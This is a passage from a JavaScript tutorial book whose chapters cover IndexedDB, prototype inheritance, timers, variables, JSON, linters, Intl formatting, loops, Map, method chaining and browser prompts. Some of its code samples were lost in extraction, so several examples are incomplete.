By creating a new function, we are scoping key inside a function so all callback have their own key
instance.
Read How to make iterator usable inside async callback function online:
https://riptutorial.com/javascript/topic/8133/how-to-make-iterator-usable-inside-async-callback-
function
https://riptutorial.com/ 324
www.dbooks.org
Chapter 54: IndexedDB
Remarks
Transactions
Transactions need to be used immediately after they're created. If they aren't used in the current
event loop (basically before we wait for anything like a web request) they'll go into an inactive state
where you can't use them.
Databases can only have one transaction that writes to a particular object store at a time. So you
can have as many as you want that read from our things store, but only one can make changes at
any given time.
Examples
Testing for IndexedDB availability
You can test for IndexedDB support in the current environment by checking for the presence of the
window.indexedDB property:
if (window.indexedDB) {
// IndexedDB is available
}
Opening a database
We'll open a DemoDB database. If it doesn't exist yet, it will get created when we send the
request.
The 2 below says that we're asking for version 2 of our database. Only one version exists at any
time, but we can use the version number to upgrade old data, as you'll see.
// Listen for success. This will be called after onupgradeneeded runs, if it does at all
request.onsuccess = function() {
db = request.result; // We have a database!
doThingsWithDB(db);
};
https://riptutorial.com/ 325
// If our database didn't exist before, or it was an older version than what we requested,
// the `onupgradeneeded` event will be fired.
//
// We can use this to setup a new database and upgrade an old one with new data stores
request.onupgradeneeded = function(event) {
db = request.result;
// If the oldVersion is less than 1, then the database didn't exist. Let's set it up
if (event.oldVersion < 1) {
// We'll create a new "things" store with `autoIncrement`ing keys
var store = db.createObjectStore("things", { autoIncrement: true });
}
// In version 2 of our database, we added a new index by the name of each thing
if (event.oldVersion < 2) {
// Let's load the things store and create an index
var store = request.transaction.objectStore("things");
store.createIndex("by_name", "name");
}
};
Adding objects
Anything that needs to happen with data in an IndexedDB database happens in a transaction.
There are a few things to note about transactions that are mentioned in the Remarks section at the
bottom of this page.
// Create a new readwrite (since we want to change things) transaction for the things store
var transaction = db.transaction(["things"], "readwrite");
// Transactions use events, just like database open requests. Let's listen for success
transaction.oncomplete = function() {
console.log("All done!");
};
// Now that our event handlers are set up, let's get our things store and add some objects!
var store = transaction.objectStore("things");
// Transactions can do a few things at a time. Let's start with a simple insertion
var request = store.add({
// "things" uses auto-incrementing keys, so we don't need one, but we can set it anyway
key: "coffee_cup",
name: "Coffee Cup",
contents: ["coffee", "cream"]
https://riptutorial.com/ 326
www.dbooks.org
});
// We can also add a bunch of things from an array. We'll use auto-generated keys
var thingsToAdd = [{ name: "Example object" }, { value: "I don't have a name" }];
// Let's use more compact code this time and ignore the results of our insertions
thingsToAdd.forEach(e => store.add(e));
Retrieving data
Anything that needs to happen with data in an IndexedDB database happens in a transaction.
There are a few things to note about transactions that are mentioned in the Remarks section at the
bottom of this page.
// Create a new transaction, we'll use the default "readonly" mode and the things store
var transaction = db.transaction(["things"]);
// Transactions use events, just like database open requests. Let's listen for success
transaction.oncomplete = function() {
console.log("All done!");
};
// Now that everything is set up, let's get our things store and load some objects!
var store = transaction.objectStore("things");
// That was pretty long for a basic retrieval. If we just want to get just
// the one object and don't care about errors, we can shorten things a lot
db.transaction("things").objectStore("things")
.get("coffee_cup").onsuccess = e => console.log(e.target.result);
https://riptutorial.com/ 327
Chapter 55: Inheritance
Examples
Standard function prototype
By editing Foo.prototype, we can define properties and methods that will be shared by all instances
of Foo.
Foo.prototype.bar = function() {
return 'I am bar';
};
We can then create an instance using the new keyword, and call the method.
Unlike in languages like Python, static properties of the constructor function are not inherited to
instances. Instances only inherit from their prototype, which inherits from the parent type's
prototype. Static properties are never inherited.
console.log(Foo.style); // 'bold'
console.log(foo.style); // undefined
Foo.prototype.style = 'italic';
console.log(Foo.style); // 'bold'
console.log(foo.style); // 'italic'
In JavaScript, any object can be the prototype of another. When an object is created as a
prototype of another, it will inherit all of its parent's properties.
https://riptutorial.com/ 328
www.dbooks.org
var obj = Object.create(proto);
console.log(obj.foo);
console.log(obj.bar());
Console output:
> "foo"
> "foo"
NOTE Object.create is available from ECMAScript 5, but here's a polyfill if you need support for
ECMAScript 3
Source: http://javascript.crockford.com/prototypal.html
Object.create()
The Object.create() method creates a new object with the specified prototype object and
properties.
Parameters:
• proto (The object which should be the prototype of the newly-created object.)
• propertiesObject (Optional. If specified and not undefined, an object whose enumerable
own properties (that is, those properties defined upon itself and not enumerable properties
along its prototype chain) specify property descriptors to be added to the newly-created
object, with the corresponding property names. These properties correspond to the second
argument of Object.defineProperties().)
Return value
Exceptions
Prototypal inheritance
https://riptutorial.com/ 329
Suppose we have a plain object called prototype:
Now we want another object called obj that inherits from prototype, which is the same as saying
that prototype is the prototype of obj
Now all the properties and methods from prototype will be available to obj
console.log(obj.foo);
console.log(obj.bar());
Console output
"foo"
"foo"
Prototypal inheritance is made through object references internally and objects are completely
mutable. This means any change you make on a prototype will immediately affect every other
object that prototype is prototype of.
prototype.foo = "bar";
console.log(obj.foo);
Console output
"bar"
Object.prototype is the prototype of every object, so it's strongly recommended you don't mess
with it, specially if you use any third party library, but we can play with it a little bit.
Object.prototype.breakingLibraries = 'foo';
console.log(obj.breakingLibraries);
console.log(prototype.breakingLibraries);
Console output
"foo"
"foo"
Fun fact I've used the browser console to make these examples and broken this page by adding
that breakingLibraries property.
https://riptutorial.com/ 330
www.dbooks.org
Pseudo-classical inheritance
It's an emulation of classical inheritance using prototypical inheritance which shows how powerful
prototypes are. It was made to make the language more attractive to programmers coming from
other languages.
IMPORTANT NOTE: Since ES6 it doesn't make sense to use pseudo-calssical inheritance since
the language simulates conventional classes. If you're not using ES6, you should. If you still want
to use the classical inheritance pattern and you're in a ECMAScript 5 or lower environment, then
pseudo-classical is your best bet.
A "class" is just a function that is made to be called with the new operand and it's used as a
constructor.
Console output
foo is an instance of Foo.The JavaScript coding convention says if a function begins with a capital
letter case it can be called as a constructor (with the new operand).
To add properties or methods to the "class" you have to add them to it's prototype, which can be
found in the prototype property of the constructor.
Foo.prototype.bar = 'bar';
console.log(foo.bar);
Console output
bar
In fact what Foo is doing as a "constructor" is just creating objects with Foo.prototype as it's
prototype.
console.log(foo.constructor);
https://riptutorial.com/ 331
function Foo(id, name) { ...
console.log({ }.constructor);
And also check if an object is an instance of a given class with the instanceof operator
true
true
With ES5+, the Object.create function can be used to create an Object with any other Object as it's
prototype.
const anyObj = {
hello() {
console.log(`this.foo is ${this.foo}`);
},
};
To explicitly create an Object without a prototype, use null as the prototype. This means the
Object will not inherit from Object.prototype either and is useful for Objects used for existence
checking dictionaries, e.g.
From ES6, the prototype of an existing Object can be changed using Object.setPrototypeOf, for
example
https://riptutorial.com/ 332
www.dbooks.org
obj.foo; // undefined
obj.bar; // "bar"
Note: This process is very slow in current browsers and should be used sparingly, try to create the
Object with the desired prototype instead.
Before ES5, the only way to create an Object with a manually defined prototype was to construct it
with new, for example
function ConstructMyObj() {}
ConstructMyObj.prototype = proto;
https://riptutorial.com/ 333
Chapter 56: Intervals and Timeouts
Syntax
• timeoutID = setTimeout(function() {}, milliseconds)
• intervalID = setInterval(function() {}, milliseconds)
• timeoutID = setTimeout(function() {}, milliseconds, parameter, parameter, ...)
• intervalID = setInterval(function() {}, milliseconds, parameter, parameter, ...)
• clearTimeout(timeoutID)
• clearInterval(intervalID)
Remarks
If the delay is not specified, it defaults to 0 milliseconds. However, the actual delay will be longer
than that; for example, the HTML5 spec specifies a minimum delay of 4 milliseconds.
Even when setTimeout is called with a delay of zero, the function that is called by setTimeout will be
executed asynchronously.
Note that many operations like DOM manipulation are not necessarily completed even if you've
made the operation and moved on to the next code sentence, so you shouldn't assume they will
run synchronously.
Using setTimeout(someFunc, 0) enqueues the execution of the someFunc function at the end of the
current JavaScript engine's call stack, so the function will be called after those operations
completed.
Examples
Intervals
function waitFunc(){
console.log("This will be logged every 5 seconds");
}
window.setInterval(waitFunc,5000);
Removing intervals
window.setInterval()
https://riptutorial.com/ 334
www.dbooks.org
returns an IntervalID, which can be used to stop that interval from continuing to run. To do this,
store the return value of window.setInterval() in a variable and call clearInterval() with that
variable as the only argument:
function waitFunc(){
console.log("This will be logged every 5 seconds");
}
window.setTimeout(function(){
clearInterval(interval);
},32000);
This will log This will be logged every 5 seconds every 5 seconds, but will stop it after 32 seconds.
So it will log the message 6 times.
Removing timeouts
window.setTimout() returns a TimeoutID, which can be used to stop that timeout from running. To do
this, store the return value of window.setTimeout() in a variable and call clearTimeout() with that
variable as the only argument:
function waitFunc(){
console.log("This will not be logged after 5 seconds");
}
function stopFunc(){
clearTimeout(timeout);
}
This will not log the message because the timer is stopped after 3 seconds.
Recursive setTimeout
function repeatingFunc() {
console.log("It's been 5 seconds. Execute the function again.");
setTimeout(repeatingFunc, 5000);
}
setTimeout(repeatingFunc, 5000);
Unlike setInterval, this ensures that the function will execute even if the function's running time is
longer than the specified delay. However, it does not guarantee a regular interval between function
executions. This behaviour also varies because an exception before the recursive call to
setTimeout will prevent it from repeating again, while setInterval would repeat indefinitely
regardless of exceptions.
https://riptutorial.com/ 335
setTimeout, order of operations, clearTimeout
setTimeout
• Executes a function, after waiting a specified number of milliseconds.
• used to delay the execution of a function.
Example : This example outputs "hello" to the console after 1 second. The second parameter is in
milliseconds, so 1000 = 1 sec, 250 = 0.25 sec, etc.
setTimeout(function() {
console.log('hello');
}, 1000);
This will output the value 3 three times, which is not correct.
It will output the value 0,1,2. Here, we’re passing the i into the function as a parameter(j).
Order of operations
Additionally though, due to the fact that Javascript is single threaded and uses a global event loop,
setTimeout can be used to add an item to the end of the execution queue by calling setTimeout with
zero delay. For example:
setTimeout(function() {
console.log('world');
}, 0);
console.log('hello');
https://riptutorial.com/ 336
www.dbooks.org
Will actually output:
hello
world
Also, zero milliseconds here does not mean the function inside the setTimeout will execute
immediately. It will take slightly more than that depending upon the items to be executed
remaining in the execution queue. This one is just pushed to the end of the queue.
Cancelling a timeout
clearTimeout() : stops the execution of the function specified in setTimeout()
Example :
Intervals
Standard
You don't need to create the variable, but it's a good practice as you can use that variable with
clearInterval to stop the currently running interval.
If you need to pass parameters to the doSomething function, you can pass them as additional
parameters beyond the first two to setInterval.
Without overlapping
setInterval, as above, will run every 5 seconds (or whatever you set it to) no matter what. Even if
the function doSomething takes long than 5 seconds to run. That can create issues. If you just
want to make sure there is that pause in between runnings of doSomething, you can do this:
(function(){
doSomething();
setTimeout(arguments.callee, 5000);
})()
https://riptutorial.com/ 337
Read Intervals and Timeouts online: https://riptutorial.com/javascript/topic/279/intervals-and-
timeouts
https://riptutorial.com/ 338
www.dbooks.org
Chapter 57: JavaScript Variables
Introduction
Variables are what make up most of JavaScript. These variables make up things from numbers to
objects, which are all over JavaScript to make one's life much easier.
Syntax
• var {variable_name} [= {value}];
Parameters
variable_name {Required} The name of the variable: used when calling it.
Remarks
"use strict";
'use strict';
Strict Mode makes JavaScript stricter to assure you the best habits. For example, assigning a
variable:
uhOhis supposed to be defined using var. Strict Mode, being on, shows an error (in the Console, it
doesn't care). Use this to generate good habits on defining variables.
You may use Nested Arrays and Objects some time. They are sometimes useful, and they're
also fun to work with. Here is how they work:
Nested Arrays
https://riptutorial.com/ 339
var myArray = [ "The following is an array", ["I'm an array"] ];
var myGraph = [ [0, 0], [5, 10], [3, 12] ]; // useful nested array
console.log(myGraph[0]); // [0, 0]
console.log(myGraph[1][1]); // 10
Nested Objects
var myObject = {
firstObject: {
myVariable: "This is the first object"
}
secondObject: {
myVariable: "This is the second object"
}
}
var people = {
john: {
name: {
first: "John",
last: "Doe",
full: "John Doe"
},
knownFor: "placeholder names"
},
bill: {
name: {
first: "Bill",
last: "Gates",
full: "Bill Gates"
},
knownFor: "wealth"
}
}
https://riptutorial.com/ 340
www.dbooks.org
console.log(people.john.name.first); // John
console.log(people.john.name.full); // John Doe
console.log(people.bill.knownFor); // wealth
console.log(people.bill.name.last); // Gates
console.log(people.bill.name.full); // Bill Gates
Examples
Defining a Variable
This is an example of defining variables. This variable is called a "string" because it has ASCII
characters (A-Z, 0-9, !@#$, etc.)
Using a Variable
var number1 = 5;
number1 = 3;
Here, we defined a number called "number1" which was equal to 5. However, on the second line,
we changed the value to 3. To show the value of a variable, we log it to the console or use
window.alert():
console.log(number1); // 3
window.alert(number1); // 3
number1 = number1 + 5; // 3 + 5 = 8
number1 = number1 - 6; // 8 - 6 = 2
var number2 = number1 * 10; // 2 (times) 10 = 20
var number3 = number2 / number1; // 20 (divided by) 2 = 10;
We can also add strings which will concatenate them, or put them together. For example:
Types of Variables
https://riptutorial.com/ 341
var myNotANumber = NaN;
var NaN_Example = 0/0; // NaN: Division by Zero is not possible
window.alert(myArray[elementNumber]); // Billy
An object is a group of values; unlike arrays, we can do something better than them:
myObject = {};
john = {firstname: "John", lastname: "Doe", fullname: "John Doe"};
billy = {
firstname: "Billy",
lastname: undefined
fullname: "Billy"
};
window.alert(john.fullname); // John Doe
window.alert(billy.firstname); // Billy
Rather than making an array ["John Doe", "Billy"] and calling myArray[0], we can just call
john.fullname and billy.fullname.
https://riptutorial.com/ 342
www.dbooks.org
Chapter 58: JSON
Introduction
JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans
to read and write and easy for machines to parse and generate. It is important to realize that, in
JavaScript, JSON is a string and not an object.
A basic overview can be found on the json.org website which also contains links to
implementations of the standard in many different programming languages.
Syntax
• JSON.parse(input[, reviver])
• JSON.stringify(value[, replacer[, space]])
Parameters
Parameter Details
replacer(function or
Selectively includes certain properties of the value object.
String[] or Number[])
Remarks
The JSON utility methods were first standardized in ECMAScript 5.1 §15.12.
The format was formally defined in The application/json Media Type for JSON (RFC 4627 July
2006) which was later updated in The JSON Data Interchange Format (RFC 7158 March 2013,
ECMA-404 October 2013 and RFC 7159 March 2014).
https://riptutorial.com/ 343
To make these methods available in old browsers such as Internet Explorer 8, use Douglas
Crockford's json2.js.
Examples
Parsing a simple JSON string
The JSON.parse() method parses a string as JSON and returns a JavaScript primitive, array or
object:
Serializing a value
A JavaScript value can be converted to a JSON string using the JSON.stringify function.
2. replacer A function that alters the behaviour of the stringification process or an array of
String and Number objects that serve as a whitelist for filtering the properties of the value
object to be included in the JSON string. If this value is null or is not provided, all properties
of the object are included in the resulting JSON string.
// replacer as a function
function replacer (key, value) {
// Filtering out properties
if (typeof value === "string") {
return
}
return value
}
var foo = { foundation: "Mozilla", model: "box", week: 45, transport: "car", month: 7 }
JSON.stringify(foo, replacer)
// -> '{"week": 45, "month": 7}'
// replacer as an array
JSON.stringify(foo, ['foundation', 'week', 'month'])
// -> '{"foundation": "Mozilla", "week": 45, "month": 7}'
https://riptutorial.com/ 344
www.dbooks.org
// only the `foundation`, `week`, and `month` properties are kept
3. space For readability, the number of spaces used for indentation may be specified as the
third parameter.
Alternatively, a string value can be provided to use for indentation. For example, passing '\t' will
cause the tab character to be used for indentation.
const userRecords = [
{name: "Joe", points: 14.9, level: 31.5},
{name: "Jane", points: 35.5, level: 74.4},
{name: "Jacob", points: 18.5, level: 41.2},
{name: "Jessie", points: 15.1, level: 28.1},
];
// Remove names and round numbers to integers to anonymize records before sharing
const anonymousReport = JSON.stringify(userRecords, (key, value) =>
key === 'name'
? undefined
: (typeof value === 'number' ? Math.floor(value) : value)
);
'[{"points":14,"level":31},{"points":35,"level":74},{"points":18,"level":41},{"points":15,"level":28}]'
A reviver function can be used to filter or transform the value being parsed.
5.1
https://riptutorial.com/ 345
var jsonString = '[{"name":"John","score":51},{"name":"Jack","score":17}]';
[
{
'name': 'JOHN',
'score': 51
},
{
'name': 'JACK',
'score': 17
}
]
This is particularly useful when data must be sent that needs to be serialized/encoded when being
transmitted with JSON, but one wants to access it deserialized/decoded. In the following example,
a date was encoded to its ISO 8601 representation. We use the reviver function to parse this in a
JavaScript Date.
5.1
It is important to make sure the reviver function returns a useful value at the end of each iteration.
If the reviver function returns undefined, no value or the execution falls off towards the end of the
function, the property is deleted from the object. Otherwise, the property is redefined to be the
return value.
https://riptutorial.com/ 346
www.dbooks.org
Serializing and restoring class instances
You can use a custom toJSON method and reviver function to transmit instances of your own class
in JSON. If an object has a toJSON method, its result will be serialized instead of the object itself.
Car.prototype.toJSON = function() {
return {
$type: 'com.example.Car',
color: this.color,
speed: this.speed
};
};
Car.fromJSON = function(data) {
return new Car(data.color, data.speed);
};
class Car {
constructor(color, speed) {
this.color = color;
this.speed = speed;
this.id_ = Math.random();
}
toJSON() {
return {
$type: 'com.example.Car',
color: this.color,
speed: this.speed
};
}
static fromJSON(data) {
return new Car(data.color, data.speed);
}
}
{"name":"John","car":{"$type":"com.example.Car","color":"red","speed":"fast"}}
https://riptutorial.com/ 347
return (value && value.$type === 'com.example.Car') ? Car.fromJSON(value) : value;
});
{
name: "John",
car: Car {
color: "red",
speed: "fast",
id_: 0.19349242527065402
}
}
JSON stands for "JavaScript Object Notation", but it's not JavaScript. Think of it as just a data
serialization format that happens to be directly usable as a JavaScript literal. However, it is not
advisable to directly run (i.e. through eval()) JSON that is fetched from an external source.
Functionally, JSON isn't very different from XML or YAML – some confusion can be avoided if
JSON is just imagined as some serialization format that looks very much like JavaScript.
Even though the name implies just objects, and even though the majority of use cases through
some kind of API always happen to be objects and arrays, JSON is not for just objects or arrays.
The following primitive types are supported:
undefined is not supported in the sense that an undefined property will be omitted from JSON upon
serialization. Therefore, there is no way to deserialize JSON and end up with a property whose
value is undefined.
The string "42" is valid JSON. JSON doesn't always have to have an outer envelope of "{...}" or
"[...]".
While nome JSON is also valid JavaScript and some JavaScript is also valid JSON, there are
some subtle differences between both languages and neither language is a subset of the other.
{"color": "blue"}
This can be directly inserted into JavaScript. It will be syntactically valid and will yield the correct
value:
https://riptutorial.com/ 348
www.dbooks.org
However, we know that "color" is a valid identifier name and the quotes around the property name
can be omitted:
We also know that we can use single quotes instead of double quotes:
But, if we were to take both of these literals and treat them as JSON, neither will be syntactically
valid JSON:
{color: "blue"}
{'color': 'blue'}
JSON strictly requires all property names to be double quoted and string values to be double
quoted as well.
It's common for JSON-newcomers to attempt to use code excerpts with JavaScript literals as
JSON, and scratch their heads about the syntax errors they are getting from the JSON parser.
More confusion starts arising when incorrect terminology is applied in code or in conversation.
fetch(url).then(function (response) {
const json = JSON.parse(response.data); // Confusion ensues!
In the above example, response.data is a JSON string that is returned by some API. JSON stops at
the HTTP response domain. The variable with the "json" misnomer holds just a JavaScript value
(could be an object, an array, or even a simple number!)
fetch(url).then(function (response) {
const value = JSON.parse(response.data);
Developers also tend to throw the phrase "JSON object" around a lot. This also leads to confusion.
Because as mentioned above, a JSON string doesn't have to hold an object as a value. "JSON
string" is a better term. Just like "XML string" or "YAML string". You get a string, you parse it, and
you end up with a value.
https://riptutorial.com/ 349
Cyclic object values
Not all objects can be converted to a JSON string. When an object has cyclic self-references, the
conversion will fail.
This is typically the case for hierarchical data structures where parent and child both reference
each other:
const world = {
name: 'World',
regions: []
};
world.regions.push({
name: 'North America',
parent: 'America'
});
console.log(JSON.stringify(world));
// {"name":"World","regions":[{"name":"North America","parent":"America"}]}
world.regions.push({
name: 'Asia',
parent: world
});
console.log(JSON.stringify(world));
// Uncaught TypeError: Converting circular structure to JSON
As soon as the process detects a cycle, the exception is raised. If there were no cycle detection,
the string would be infinitely long.
https://riptutorial.com/ 350
www.dbooks.org
Chapter 59: Linters - Ensuring code quality
Remarks
No matter what linter you choose every JavaScript Project should use one. They can help find
error and make code more consistent. For more comparisions check out comparison JavaScript
linting tools
Examples
JSHint
JSHint is an open source tool which detects errors and potential problems in JavaScript code.
A benefit of adding it to your IDE is that you can create a JSON configuration file named .jshintrc
that will be used when linting your program. This is convent if you want to share configurations
between projects.
{
"-W097": false, // Allow "use strict" at document level
"browser": true, // defines globals exposed by modern browsers
http://jshint.com/docs/options/#browser
"curly": true, // requires you to always put curly braces around blocks in loops and
conditionals http://jshint.com/docs/options/#curly
"devel": true, // defines globals that are usually used for logging poor-man's debugging:
console, alert, etc. http://jshint.com/docs/options/#devel
// List global variables (false means read only)
"globals": {
"globalVar": true
},
"jquery": true, // This option defines globals exposed by the jQuery JavaScript library.
"newcap": false,
// List any global functions or const vars
"predef": [
"GlobalFunction",
"GlobalFunction2"
],
"undef": true, // warn about undefined vars
"unused": true // warn about unused vars
https://riptutorial.com/ 351
}
switch(operation)
{
case '+'
{
result = a + b;
break;
}
// JSHint disable error for variable not defined, because it is defined in another file
/* jshint -W117 */
globalVariable = 'in-another-file.js';
/* jshint +W117 */
ESLint / JSCS
ESLint is a code style linter and formatter for your style guide much like JSHint. ESLint merged
with JSCS in April of 2016. ESLint does take more effort to set up than JSHint, but there are clear
instructions on their website for getting started.
{
"rules": {
"semi": ["error", "always"], // throw an error when semicolons are detected
"quotes": ["error", "double"] // throw an error when double quotes are detected
}
}
A sample configuration file where ALL rules are set to off, with descriptions for what they do can
be found here.
JSLint
JSLint is the trunk from which JSHint branched. JSLint takes a much more opinionated stance on
how to write JavaScript code, pushing you towards only using the parts Douglas Crockford deems
to be its "good parts", and away from any code that Crockford believes to have a better solution.
https://riptutorial.com/ 352
www.dbooks.org
The following StackOverflow thread may help you decide which linter is right for you. While there
are differences (here are some brief comparisons between it and JSHint / ESLint), each option is
extremely customizable.
For a more information about configuring JSLint check out NPM or github.
https://riptutorial.com/ 353
Chapter 60: Localization
Syntax
• new Intl.NumberFormat()
• new Intl.NumberFormat('en-US')
• new Intl.NumberFormat('en-GB',{timeZone: 'UTC'})
Parameters
Paramater Details
Examples
Number formatting
Currency formatting
Currency formatting, grouping digits and placing the currency symbol according to the localization.
https://riptutorial.com/ 354
www.dbooks.org
const usCurrencyFormat = new Intl.NumberFormat('en-US', {style: 'currency', currency: 'USD'})
const esCurrencyFormat = new Intl.NumberFormat('es-ES', {style: 'currency', currency: 'EUR'})
https://riptutorial.com/ 355
Chapter 61: Loops
Syntax
• for (initialization; condition; final_expression) { }
• for (key in object) { }
• for (variable of iterable) { }
• while (condition) { }
• do { } while (condition)
• for each (variable in object) { } // ECMAScript for XML
Remarks
Loops in JavaScript typically help solve problems which involve repeating specific code x amount
of times. Say you need to log a message 5 times. You could do this:
console.log("a message");
console.log("a message");
console.log("a message");
console.log("a message");
console.log("a message");
But that's just time-consuming and kind of ridiculous. Plus, what if you needed to log over 300
messages? You should replace the code with a traditional "for" loop:
Examples
Standard "for" loops
Standard usage
Expected output:
0
1
...
99
https://riptutorial.com/ 356
www.dbooks.org
Multiple declarations
Expected output:
'a'
'b'
'c'
Expected output:
0
2
4
...
98
Decremented loop
Expected output:
100
99
98
...
0
"while" Loops
https://riptutorial.com/ 357
var i = 0;
while (i < 100) {
console.log(i);
i++;
}
Expected output:
0
1
...
99
Decremented loop
var i = 100;
while (i > 0) {
console.log(i);
i--; /* equivalent to i=i-1 */
}
Expected output:
100
99
98
...
1
Do...while Loop
A do...while loop will always execute at least once, regardless of whether the condition is true or
false:
var i = 101;
do {
console.log(i);
} while (i < 100);
Expected output:
101
var i = 0;
while(true) {
https://riptutorial.com/ 358
www.dbooks.org
i++;
if(i === 42) {
break;
}
}
console.log(i);
Expected output:
42
var i;
for(i = 0; i < 100; i++) {
if(i === 42) {
break;
}
}
console.log(i);
Expected output:
42
"continue" a loop
Expected output:
0
2
var i = 0;
while (i < 3) {
https://riptutorial.com/ 359
if (i === 1) {
i = 2;
continue;
}
console.log(i);
i++;
}
Expected output:
0
2
var availableName;
do {
availableName = getRandomName();
} while (isNameUsed(name));
A do while loop is guaranteed to run at least once as it's condition is only checked at the end of an
iteration. A traditional while loop may run zero or more times as its condition is checked at the
beginning of an iteration.
We can name our loops and break the specific one when necessary.
outerloop:
for (var i = 0;i<3;i++){
innerloup:
for (var j = 0;j <3; j++){
console.log(i);
console.log(j);
if (j == 1){
break outerloop;
}
}
}
Output:
0
0
0
1
Break and continue statements can be followed by an optional label which works like some kind of
a goto statement, resumes execution from the label referenced position
https://riptutorial.com/ 360
www.dbooks.org
for(var i = 0; i < 5; i++){
nextLoop2Iteration:
for(var j = 0; j < 5; j++){
if(i == j) break nextLoop2Iteration;
console.log(i, j);
}
}
Expected output:
0
1
2
• This is the most concise, direct syntax yet for looping through array elements
• It avoids all the pitfalls of for...in
• Unlike forEach(), it works with break, continue, and return
https://riptutorial.com/ 361
for...of will treat a string as a sequence of Unicode characters:
Expected output:
abc
Sets
for...of works on Set objects.
Note:
Expected output:
bob
alejandro
zandra
anna
Maps
You can also use for...of loops to iterate over Maps. This works similarly to arrays and sets, except
the iteration variable stores both a key and a value.
You can use destructuring assignment to capture the key and the value separately:
https://riptutorial.com/ 362
www.dbooks.org
const map = new Map()
.set('abc', 1)
.set('def', 2)
Objects
for...of loops do not work directly on plain Objects; but, it is possible to iterate over an object’s
properties by switching to a for...in loop, or using Object.keys():
Expected output:
name: Mike
Warning
for...in is intended for iterating over object keys, not array indexes. Using it to loop
through an array is generally discouraged. It also includes properties from the
prototype, so it may be necessary to check if the key is within the object using
hasOwnProperty. If any attributes in the object are defined by the
defineProperty/defineProperties method and set the param enumerable: false, those
attributes will be inaccessible.
Expected output:
object.b, bar
object.c, baz
https://riptutorial.com/ 363
Read Loops online: https://riptutorial.com/javascript/topic/227/loops
https://riptutorial.com/ 364
www.dbooks.org
Chapter 62: Map
Syntax
• new Map([iterable])
• map.set(key, value)
• map.get(key)
• map.size
• map.clear()
• map.delete(key)
• map.entries()
• map.keys()
• map.values()
• map.forEach(callback[, thisArg])
Parameters
Parameter Details
iterable Any iterable object (for example an array) containing [key, value] pairs.
callback Callback function called with three parameters: value, key, and the map.
Remarks
In Maps NaN is considered to be the same as NaN, even though NaN !== NaN. For example:
Examples
Creating a Map
A Map is a basic mapping of keys to values. Maps are different from objects in that their keys can
be anything (primitive values as well as objects), not just strings and symbols. Iteration over Maps
is also always done in the order the items were inserted into the Map, whereas the order is
https://riptutorial.com/ 365
undefined when iterating over keys in an object.
It has an optional parameter, which can be any iterable object (for example an array) which
contains arrays of two elements – first is the key, the seconds is the value. For example:
Clearing a Map
map.clear();
Example:
map.delete(key);
Example:
This method returns true if the element existed and has been removed, otherwise false:
https://riptutorial.com/ 366
www.dbooks.org
map.has(key);
Example:
Iterating Maps
Map has three methods which returns iterators: .keys(), .values() and .entries(). .entries() is the
default Map iterator, and contains [key, value] pairs.
Map also has .forEach() method. The first parameter is a callback function, which will be called for
each element in the map, and the second parameter is the value which will be used as this when
executing the callback function.
The callback function has three arguments: value, key, and the map object.
Use .get(key) to get value by key and .set(key, value) to assign a value to a key.
If the element with the specified key doesn't exist in the map, .get() returns undefined.
.set() method returns the map object, so you can chain .set() calls.
https://riptutorial.com/ 367
map.set(1, 2).set(3, 4);
console.log(map.get(1)); // 2
https://riptutorial.com/ 368
www.dbooks.org
Chapter 63: Memory efficiency
Examples
Drawback of creating true private method
// private method
var formatPhoneNumber = function(number) {
// format phone number based on input
};
// public method
this.setMobileNumber = function(number) {
this.mobile = formatPhoneNumber(number);
};
}
When you create few instances, they all have a copy of formatPhoneNumber method
Thus, would be great to avoid using private method only if it's necessary.
https://riptutorial.com/ 369
Chapter 64: Method Chaining
Examples
Method Chaining
Method chaining is a programming strategy that simplifies your code and beautifies it. Method
chaining is done by ensuring that each method on an object returns the entire object, instead of
returning a single element of that object. For example:
function Door() {
this.height = '';
this.width = '';
this.status = 'closed';
}
Door.prototype.open = function() {
this.status = 'opened';
return this;
}
Door.prototype.close = function() {
this.status = 'closed';
return this;
}
Door.prototype.setParams = function(width,height) {
this.width = width;
this.height = height;
return this;
}
Door.prototype.doorStatus = function() {
console.log('The',this.width,'x',this.height,'Door is',this.status);
return this;
}
Note that each method in Door.prototype returns this, which refers to the entire instance of that
Door object.
Chaining and Chainable is a design methodology used to design object behaviors so that calls to
object functions return references to self, or another object, providing access to additional function
calls allowing the calling statement to chain together many calls without the need to reference the
variable holding the object/s.
Objects that can be chained are said to be chainable. If you call an object chainable, you should
ensure that all returned objects / primitives are of the correct type. It only takes one time for your
https://riptutorial.com/ 370
www.dbooks.org
chainable object to not return the correct reference (easy to forget to add return this) and the
person using your API will lose trust and avoid chaining. Chainable objects should be all or nothing
(not a chainable object even if parts are). An object should not be called chainable if only some of
its functions are.
Chaining example
Not all function calls return a useful chainable type, nor do they always return a reference to self.
This is where common sense use of naming is important. In the above example the function call
.clone() is unambiguous. Other examples are .toString() implies a string is returned.
https://riptutorial.com/ 371
// line object represents a line
line.rotate(1)
.vec(); // ambiguous you don't need to be looking up docs while writing.
line.rotate(1)
.asVec() // unambiguous implies the return type is the line as a vec (vector)
.add({x:10,y:10)
// toVec is just as good as long as the programmer can use the naming
// to infer the return type
Syntax convention
There is no formal usage syntax when chaining. The convention is to either chain the calls on a
single line if short or to chain on the new line indented one tab from the referenced object with the
dot on the new line. Use of the semicolon is optional but does help by clearly denoting the end of
the chain.
// or sometimes
vec.scale(2)
.add({x:2,y:2})
.add(vec1.add({x:2,y:2}) // a chain as an argument
.add({x:2,y:2}) // is indented
.scale(2)
).log(); // the argument list is closed on the new line
A bad syntax
https://riptutorial.com/ 372
www.dbooks.org
Left hand side of assignment
When you assign the results of a chain the last returning call or object reference is assigned.
In the above example vec2 is assigned the value returned from the last call in the chain. In this
case, that would be a copy of vec after the scale and add.
Summary
The advantage of changing is clearer more maintainable code. Some people prefer it and will
make chainable a requirement when selecting an API. There is also a performance benefit as it
allows you to avoid having to create variables to hold interim results. With the last word being that
chainable objects can be used in a conventional way as well so you don't enforce chaining by
making an object chainable.
https://riptutorial.com/ 373
Chapter 65: Modals - Prompts
Syntax
• alert( message )
• confirm( message )
• prompt( message [, optionalValue])
• print()
Remarks
• https://www.w3.org/TR/html5/webappapis.html#user-prompts
• https://dev.w3.org/html5/spec-preview/user-prompts.html
Examples
About User Prompts
User Prompts are methods part of the Web Application API used to invoke Browser modals
requesting a user action such as confirmation or input.
window.alert(message)
alert("Hello World");
boolean = window.confirm(message)
Show a modal popup with the provided message and an input field with an optional pre-filled
value.
Returns as result the user provided input value.
https://riptutorial.com/ 374
www.dbooks.org
prompt("Enter your website address", "http://");
